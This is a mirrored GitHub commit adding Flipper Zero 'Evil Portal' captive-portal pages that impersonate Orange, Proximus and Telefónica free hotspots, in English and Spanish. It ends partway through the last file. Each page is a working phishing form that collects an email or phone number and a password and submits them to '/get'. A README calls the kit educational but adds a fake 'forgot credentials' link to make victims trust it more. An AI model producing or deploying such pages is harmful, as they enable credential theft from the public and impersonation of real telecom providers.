mirror of
https://github.com/FlippieHacks/FlipperZeroEuropeanPortals.git
synced 2026-07-28 14:47:32 -07:00
Add files via upload
This commit is contained in:
FlippieHacks
@@ -0,0 +1 @@
|
||||
Orange Free Hotspot
|
||||
@@ -0,0 +1,142 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 80px;
|
||||
height: 80px;
|
||||
background-color: #ff7f00;
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: center;
|
||||
color: #ffffff;
|
||||
font-size: 20px;
|
||||
position: relative;
|
||||
padding-bottom: 5px;
|
||||
padding-left: 15px
|
||||
padding-right: 15px
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #ffffff;
|
||||
border: 1px solid #ff7f00;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(255, 127, 0, 0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #ff7f00;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ff7f00;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #ff7f00;
|
||||
border: none;
|
||||
color: #ffffff;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #e66f00;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: red;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<div class="logo">orange</div>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center>
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Orange Account</h2>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
<div class="error-message"></div>
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "Please refer to your Orange App if you forgot your credentials";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Orange Free Hotspot
|
||||
@@ -0,0 +1,117 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 80px;
|
||||
height: 80px;
|
||||
background-color: #ff7f00;
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: center;
|
||||
color: #ffffff;
|
||||
font-size: 20px;
|
||||
position: relative;
|
||||
padding-bottom: 5px;
|
||||
padding-left: 15px
|
||||
padding-right: 15px
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #ffffff;
|
||||
border: 1px solid #ff7f00;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(255, 127, 0, 0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #ff7f00;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ff7f00;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #ff7f00;
|
||||
border: none;
|
||||
color: #ffffff;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #e66f00;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<div class="logo">orange</div>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center>
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Orange Account</h2>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Proximus Free Hotspot
|
||||
@@ -0,0 +1,167 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #EEEAF4;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #6C429C;
|
||||
}
|
||||
|
||||
.proximus-name {
|
||||
font-size: 42px;
|
||||
color: #6C429C;
|
||||
margin-left: 0px;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #DED5E9;
|
||||
border: 1px solid #CEC0DE;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #6C429C;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #BEABD3;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #6C429C;
|
||||
border: none;
|
||||
color: #EEEAF4;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #5B3784;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: red;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="80.000000pt" height="80.000000pt" viewBox="0 0 225.000000 225.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,225.000000) scale(0.100000,-0.100000)"
|
||||
fill="#6C429C" stroke="none">
|
||||
<path d="M413 2066 c-137 -45 -233 -172 -233 -308 0 -209 183 -381 505 -476
|
||||
l100 -30 0 -136 0 -137 -140 -47 c-164 -55 -264 -111 -344 -192 -119 -121
|
||||
-155 -260 -98 -383 32 -71 92 -135 159 -173 47 -26 63 -29 138 -29 74 0 93 4
|
||||
143 30 143 72 259 237 327 466 17 56 32 105 35 107 5 6 265 6 270 0 3 -2 18
|
||||
-51 35 -107 51 -171 143 -331 233 -405 105 -86 236 -116 339 -76 71 26 154
|
||||
100 188 166 21 42 25 63 25 139 0 80 -4 97 -30 149 -73 145 -232 253 -480 325
|
||||
l-90 27 -3 129 c-1 72 1 135 5 141 5 6 50 23 102 38 314 89 501 267 501 475 0
|
||||
85 -38 168 -106 231 -68 62 -124 85 -214 85 -63 0 -85 -5 -141 -31 -145 -69
|
||||
-272 -252 -332 -480 l-24 -89 -44 -8 c-40 -8 -227 -2 -236 6 -2 2 -15 44 -29
|
||||
93 -53 183 -155 356 -253 429 -100 73 -218 100 -308 71z m126 -240 c65 -34
|
||||
163 -180 186 -278 6 -24 5 -26 -17 -21 -114 27 -288 159 -288 218 0 32 23 66
|
||||
55 83 26 15 31 15 64 -2z m1264 3 c33 -17 57 -51 57 -82 0 -46 -86 -128 -183
|
||||
-176 -45 -21 -93 -42 -106 -46 -22 -7 -23 -5 -17 21 25 101 128 253 191 280
|
||||
37 16 32 16 58 3z m-553 -716 l0 -108 -107 2 -108 2 -3 105 -3 106 111 0 110
|
||||
0 0 -107z m-554 -510 c-50 -105 -97 -166 -151 -194 -42 -22 -47 -23 -72 -9
|
||||
-37 21 -58 60 -49 93 15 61 124 148 238 191 79 30 83 22 34 -81z m1037 24 c70
|
||||
-45 127 -112 127 -150 0 -32 -47 -87 -75 -87 -28 0 -70 27 -112 72 -40 44
|
||||
-106 167 -119 221 l-6 28 65 -25 c36 -14 90 -40 120 -59z"/>
|
||||
</g>
|
||||
</svg>
|
||||
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<div class="proximus-name">Proximus</div>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
<h2>Use your Proximus Account</h2></center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
<div class="error-message"></div>
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "Please refer to your Proximus App if you forgot your credentials";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Proximus Free Hotspot
|
||||
@@ -0,0 +1,139 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #EEEAF4;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #6C429C;
|
||||
}
|
||||
|
||||
.proximus-name {
|
||||
font-size: 42px;
|
||||
color: #6C429C;
|
||||
margin-left: 0px;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #DED5E9;
|
||||
border: 1px solid #CEC0DE;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #6C429C;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #BEABD3;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #6C429C;
|
||||
border: none;
|
||||
color: #EEEAF4;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #5B3784;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="80.000000pt" height="80.000000pt" viewBox="0 0 225.000000 225.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,225.000000) scale(0.100000,-0.100000)"
|
||||
fill="#6C429C" stroke="none">
|
||||
<path d="M413 2066 c-137 -45 -233 -172 -233 -308 0 -209 183 -381 505 -476
|
||||
l100 -30 0 -136 0 -137 -140 -47 c-164 -55 -264 -111 -344 -192 -119 -121
|
||||
-155 -260 -98 -383 32 -71 92 -135 159 -173 47 -26 63 -29 138 -29 74 0 93 4
|
||||
143 30 143 72 259 237 327 466 17 56 32 105 35 107 5 6 265 6 270 0 3 -2 18
|
||||
-51 35 -107 51 -171 143 -331 233 -405 105 -86 236 -116 339 -76 71 26 154
|
||||
100 188 166 21 42 25 63 25 139 0 80 -4 97 -30 149 -73 145 -232 253 -480 325
|
||||
l-90 27 -3 129 c-1 72 1 135 5 141 5 6 50 23 102 38 314 89 501 267 501 475 0
|
||||
85 -38 168 -106 231 -68 62 -124 85 -214 85 -63 0 -85 -5 -141 -31 -145 -69
|
||||
-272 -252 -332 -480 l-24 -89 -44 -8 c-40 -8 -227 -2 -236 6 -2 2 -15 44 -29
|
||||
93 -53 183 -155 356 -253 429 -100 73 -218 100 -308 71z m126 -240 c65 -34
|
||||
163 -180 186 -278 6 -24 5 -26 -17 -21 -114 27 -288 159 -288 218 0 32 23 66
|
||||
55 83 26 15 31 15 64 -2z m1264 3 c33 -17 57 -51 57 -82 0 -46 -86 -128 -183
|
||||
-176 -45 -21 -93 -42 -106 -46 -22 -7 -23 -5 -17 21 25 101 128 253 191 280
|
||||
37 16 32 16 58 3z m-553 -716 l0 -108 -107 2 -108 2 -3 105 -3 106 111 0 110
|
||||
0 0 -107z m-554 -510 c-50 -105 -97 -166 -151 -194 -42 -22 -47 -23 -72 -9
|
||||
-37 21 -58 60 -49 93 15 61 124 148 238 191 79 30 83 22 34 -81z m1037 24 c70
|
||||
-45 127 -112 127 -150 0 -32 -47 -87 -75 -87 -28 0 -70 27 -112 72 -40 44
|
||||
-106 167 -119 221 l-6 28 65 -25 c36 -14 90 -40 120 -59z"/>
|
||||
</g>
|
||||
</svg>
|
||||
<svg class="logo" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<div class="proximus-name">Proximus</div>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
<h2>Use your Proximus Account</h2></center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Continue</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,11 @@
|
||||
# !!FOR EDUCATIONAL USES ONLY!!
|
||||
This one **emulates a portal for a Telefónica "Free Hotspot"** using EvilPortal on your Flipper Zero.
|
||||
Telefónica is a Spanish internet provider.
|
||||
|
||||
# I also included a Spanish version of the portal
|
||||
|
||||
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
|
||||
## Happy flippin'
|
||||
|
||||
|
||||
|
||||
+1
@@ -0,0 +1 @@
|
||||
Telefónica Punto de acceso
|
||||
+209
@@ -0,0 +1,209 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #0066ff;
|
||||
margin-right: 100px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #0066ff;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #0066ff;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #0066ff;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: red;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
|
||||
fill="#0066ff" stroke="none">
|
||||
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
|
||||
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
|
||||
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
|
||||
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
|
||||
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
|
||||
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
|
||||
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
|
||||
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
|
||||
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
|
||||
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
|
||||
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
|
||||
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
|
||||
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
|
||||
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
|
||||
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
|
||||
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
|
||||
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
|
||||
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
|
||||
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
|
||||
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
|
||||
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
|
||||
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
|
||||
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
|
||||
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
|
||||
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
|
||||
182z"/>
|
||||
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
|
||||
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
|
||||
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
|
||||
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
|
||||
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
|
||||
98 210 135 319 84z"/>
|
||||
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
|
||||
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
|
||||
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
|
||||
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
|
||||
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
|
||||
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
|
||||
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
|
||||
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
|
||||
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
|
||||
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
|
||||
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
|
||||
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
|
||||
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
|
||||
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
|
||||
274z"/>
|
||||
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
|
||||
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
|
||||
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
|
||||
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
|
||||
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
|
||||
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
|
||||
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
|
||||
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
|
||||
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
|
||||
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
|
||||
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Inicia sesión con tu cuenta Telefónica</h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Correo electrónico o número de móvil" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Contraseña" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Conectar</button>
|
||||
<a href="javascript:void(0);" class="forgot-password">Olvidé mi contraseña</a>
|
||||
<div class="error-message"></div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "Consulta tu app de Telefónica si has olvidado tus credenciales";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Telefónica Punto de acceso
|
||||
@@ -0,0 +1,187 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #0066ff;
|
||||
margin-right: 100px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #0066ff;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #0066ff;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
